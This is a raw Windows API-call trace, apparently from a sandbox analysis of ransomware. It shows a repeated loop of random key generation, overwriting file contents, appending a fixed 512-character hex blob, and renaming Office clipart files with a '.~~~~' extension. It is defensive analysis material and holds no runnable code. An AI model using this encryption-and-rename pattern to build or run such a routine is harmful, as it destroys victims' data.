	[0108.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.670] GetLastError () returned 0x0
	[0108.680] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.695] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.695] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.695] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22868517718) returned 1
	[0108.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa728d10, dwHighDateTime=0x1d60e1e)) 
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28083d8
	[0108.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28083d8 | out: hHeap=0x300000) returned 1
	[0108.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829ab0
	[0108.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.696] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.696] GetLastError () returned 0x0
	[0108.696] GetLastError () returned 0x0
	[0108.696] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.696] GetLastError () returned 0x0
	[0108.697] GetLastError () returned 0x0
	[0108.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff820d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.699] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7df3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x7df3, lpOverlapped=0x0) returned 1
	[0108.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.701] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.701] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.701] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.701] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.701] CloseHandle (hObject=0x138) returned 1
	[0108.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.~~~~")) returned 1
	[0108.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.703] GetLastError () returned 0x0
	[0108.704] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.705] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.705] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.705] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22869498402) returned 1
	[0108.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa728d10, dwHighDateTime=0x1d60e1e)) 
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808410
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808410 | out: hHeap=0x300000) returned 1
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829a18
	[0108.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.706] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.706] GetLastError () returned 0x0
	[0108.706] GetLastError () returned 0x0
	[0108.706] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.706] GetLastError () returned 0x0
	[0108.706] GetLastError () returned 0x0
	[0108.710] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffea2b7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.710] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x15d49, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x15d49, lpOverlapped=0x0) returned 1
	[0108.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.712] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.712] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.712] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.712] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.712] CloseHandle (hObject=0x138) returned 1
	[0108.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.~~~~")) returned 1
	[0108.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.714] GetLastError () returned 0x0
	[0108.714] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.715] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.715] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.715] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22870776226) returned 1
	[0108.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa74ee70, dwHighDateTime=0x1d60e1e)) 
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829be0
	[0108.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.718] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.719] GetLastError () returned 0x0
	[0108.719] GetLastError () returned 0x0
	[0108.719] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.719] GetLastError () returned 0x0
	[0108.719] GetLastError () returned 0x0
	[0108.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.722] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.828] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.834] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.834] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.834] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.834] CloseHandle (hObject=0x138) returned 1
	[0108.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.834] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.~~~~")) returned 1
	[0108.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.836] GetLastError () returned 0x0
	[0108.902] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0108.903] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.903] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.904] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22889374620) returned 1
	[0108.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa917ef0, dwHighDateTime=0x1d60e1e)) 
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808170
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808170 | out: hHeap=0x300000) returned 1
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4ea0
	[0108.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a560
	[0108.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ea0 | out: hHeap=0x300000) returned 1
	[0108.905] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.905] GetLastError () returned 0x0
	[0108.905] GetLastError () returned 0x0
	[0108.905] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.905] GetLastError () returned 0x0
	[0108.905] GetLastError () returned 0x0
	[0108.933] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffecdc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.933] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1324, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1324, lpOverlapped=0x0) returned 1
	[0108.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.935] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.935] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.935] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.935] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.936] CloseHandle (hObject=0x138) returned 1
	[0108.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.~~~~")) returned 1
	[0108.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0108.937] GetLastError () returned 0x0
	[0108.999] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0109.000] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.000] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0109.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0109.001] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22899065032) returned 1
	[0109.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa9fc730, dwHighDateTime=0x1d60e1e)) 
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808790
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808790 | out: hHeap=0x300000) returned 1
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a858
	[0109.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.001] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0109.002] GetLastError () returned 0x0
	[0109.002] GetLastError () returned 0x0
	[0109.002] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0109.002] GetLastError () returned 0x0
	[0109.012] GetLastError () returned 0x0
	[0109.026] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd52c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.026] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2ad4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x2ad4, lpOverlapped=0x0) returned 1
	[0109.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.034] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.034] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.034] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.034] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.035] CloseHandle (hObject=0x138) returned 1
	[0109.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5728
